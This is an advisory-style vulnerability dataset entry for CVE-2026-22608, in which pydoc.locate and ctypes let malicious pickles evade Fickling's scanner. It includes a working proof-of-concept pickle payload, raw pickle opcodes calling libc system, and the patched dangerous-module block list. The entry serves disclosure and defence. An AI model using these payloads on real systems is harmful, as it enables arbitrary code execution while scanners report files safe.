CVE-2026-22608

Fickling scanner bypass via pydoc/ctypes allows remote code execution.

CVSS 8.9
CWE-184
Input Validation and Sanitization
Local

Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, both ctypes and pydoc modules aren't explicitly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE. This issue has been patched in version 0.1.7.

CVE: CVE-2026-22608
CWE: CWE-184
CVSS base score: 8.9
Published: 2026-01-10
OWASP: A08 Software and Data Integrity Failures
Orthogonal defect classification: Checking
Code defect classification: Missing Check
Category: Input Validation and Sanitization
Subcategory: Insecure Parsing or Deserialization
Accessibility scope: Local
Impact: Arbitrary Code Execution
Affected component: Fickling
Fixed by upgrading: Yes

Solution

Upgrade Fickling to version 0.1.7 or later.

Vulnerable code sample

import pickle
import pydoc
import os
import platform

class FindFunction:
    def __reduce__(self):
        return (pydoc.locate, ('os.system',))

class RCE:
    def __reduce__(self):
        if platform.system() == 'Windows':
            command = 'calc.exe'
        else:
            command = 'touch /tmp/pwned'
        
        return (FindFunction(), (command,))

payload = pickle.dumps(RCE())

pickle.loads(payload)

Patched code sample

# This code represents the state of the security-relevant data structures
# in fickling version 0.1.7, where the vulnerability was patched.
# The core of the fix was to add 'ctypes' to dangerous_modules and
# 'pydoc.locate' to dangerous_builtins.

dangerous_modules = {
    "__builtin__",
    "__main__",
    "builtins",
    "copy_reg",
    "ctypes",
    "dill",
    "marshal",
    "modules",
    "numpy.core.multiarray",
    "numpy",
    "os",
    "pickle",
    "shelve",
    "subprocess",
    "sys",
    "system",
    "posix",
    "pickletools",
    "__subclasses__",
    "__builtins__",
    "__import__",
    "eval",
    "exec",
    "compile",
    "globals",
    "locals",
    "vars",
    "getattr",
    "setattr",
    "delattr",
    "open",
    "classmethod",
    "staticmethod",
    "sys._getframe",
    "__class__",
    "__bases__",
    "__mro__",
    "__subclasses__",
    "__dict__",
    "__init__",
    "__globals__",
    "linecache",
    "pathlib",
    "shutil",
    "tarfile",
    "zipfile",
    "tempfile",
    "socket",
    "ssl",
    "ftplib",
    "glob",
    "multiprocessing",
    "threading",
    "pty",
    "tty",
    "platform",
    "getpass",
    "getopt",
    "curses",
    "sqlite3",
    "asyncio",
    "select",
    "selectors",
    "signal",
    "posixshmem",
    "posixsubprocess",
    "resource",
    "mmap",
    "fcntl",
    "grp",
    "pwd",
    "syslog",
    "traceback",
    "aifc",
    "audioop",
    "cgi",
    "cgitb",
    "chunk",
    "crypt",
    "dbm",
    "ensurepip",
    "filecmp",
    "fileinput",
    "idlelib",
    "imaplib",
    "imghdr",
    "imp",
    "importlib",
    "msilib",
    "msvcrt",
    "nis",
    "nntplib",
    "ossaudiodev",
    "pipes",
    "poplib",
    "rlcompleter",
    "smtpd",
    "smtplib",
    "sndhdr",
    "spwd",
    "sunau",
    "symbol",
    "telnetlib",
    "termios",
    "time",
    "trace",
    "turtle",
    "turtledemo",
    "venv",
    "wave",
    "winreg",
    "winsound",
    "wsgiref",
    "xdrlib",
    "xmlrpc",
    "path",
}

dangerous_builtins = {
    "__import__",
    "eval",
    "exec",
    "execfile",
    "compile",
    "open",
    "file",
    "input",
    "os.system",
    "os.spawn",
    "os.spawnl",
    "os.spawnle",
    "os.spawnlp",
    "os.spawnlpe",
    "os.spawnv",
    "os.spawnve",
    "os.spawnvp",
    "os.spawnvpe",
    "os.popen",
    "os.popen2",
    "os.popen3",
    "os.popen4",
    "os.fdopen",
    "os.tmpfile",
    "os.execl",
    "os.execle",
    "os.execlp",
    "os.execlpe",
    "os.execv",
    "os.execve",
    "os.execvp",
    "os.execvpe",
    "os.fork",
    "os.forkpty",
    "os.kill",
    "os.killpg",
    "os.plock",
    "os.putenv",
    "os.read",
    "os.pipe",
    "os.open",
    "os.openpty",
    "os.write",
    "os.system",
    "sys.exit",
    "sys.modules",
    "sys.path",
    "subprocess.call",
    "subprocess.check_call",
    "subprocess.check_output",
    "subprocess.getoutput",
    "subprocess.getstatusoutput",
    "subprocess.run",
    "subprocess.Popen",
    "pty.spawn",
    "linecache.getline",
    "pathlib.Path.read_bytes",
    "pathlib.Path.read_text",
    "pathlib.Path.write_bytes",
    "pathlib.Path.write_text",
    "pathlib.Path.open",
    "shutil.copy",
    "shutil.copy2",
    "shutil.copyfile",
    "shutil.copyfileobj",
    "shutil.copymode",
    "shutil.copystat",
    "shutil.copytree",
    "shutil.disk_usage",
    "shutil.make_archive",
    "shutil.move",
    "shutil.rmtree",
    "shutil.unpack_archive",
    "shutil.get_archive_formats",
    "shutil.get_terminal_size",
    "shutil.get_unpack_formats",
    "shutil.register_archive_format",
    "shutil.register_unpack_format",
    "shutil.unregister_archive_format",
    "shutil.unregister_unpack_format",
    "tarfile.open",
    "tarfile.TarFile.open",
    "zipfile.open",
    "zipfile.ZipFile.open",
    "zipfile.ZipFile.extract",
    "zipfile.ZipFile.extractall",
    "zipfile.ZipFile.read",
    "zipfile.ZipFile.write",
    "zipfile.ZipFile.writestr",
    "tempfile.mkstemp",
    "tempfile.mktemp",
    "tempfile.NamedTemporaryFile",
    "tempfile.SpooledTemporaryFile",
    "tempfile.TemporaryDirectory",
    "tempfile.TemporaryFile",
    "socket.socket",
    "socket.create_connection",
    "socket.create_server",
    "socket.fromfd",
    "socket.fromshare",
    "socket.socketpair",
    "ssl.wrap_socket",
    "ssl.SSLContext.wrap_socket",
    "ftplib.FTP",
    "ftplib.FTP_TLS",
    "glob.glob",
    "glob.iglob",
    "multiprocessing.Process",
    "multiprocessing.Pool",
    "multiprocessing.Queue",
    "multiprocessing.Manager",
    "multiprocessing.Pipe",
    "multiprocessing.Semaphore",
    "multiprocessing.Lock",
    "multiprocessing.RLock",
    "multiprocessing.Condition",
    "multiprocessing.Event",
    "multiprocessing.Barrier",
    "multiprocessing.Value",
    "multiprocessing.Array",
    "multiprocessing.connection.Listener",
    "multiprocessing.connection.Client",
    "threading.Thread",
    "threading.Timer",
    "pydoc.locate",
}

Payload

cbuiltins
getattr
(c pydoc
locate
(S'ctypes.CDLL'
tR(S'libc.so.6'
tRS'system'
tR(S'gnome-calculator'
tR.

Cite this entry

@misc{vaitp:cve202622608,
  title        = {{Fickling scanner bypass via pydoc/ctypes allows remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-22608},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22608/}}
}

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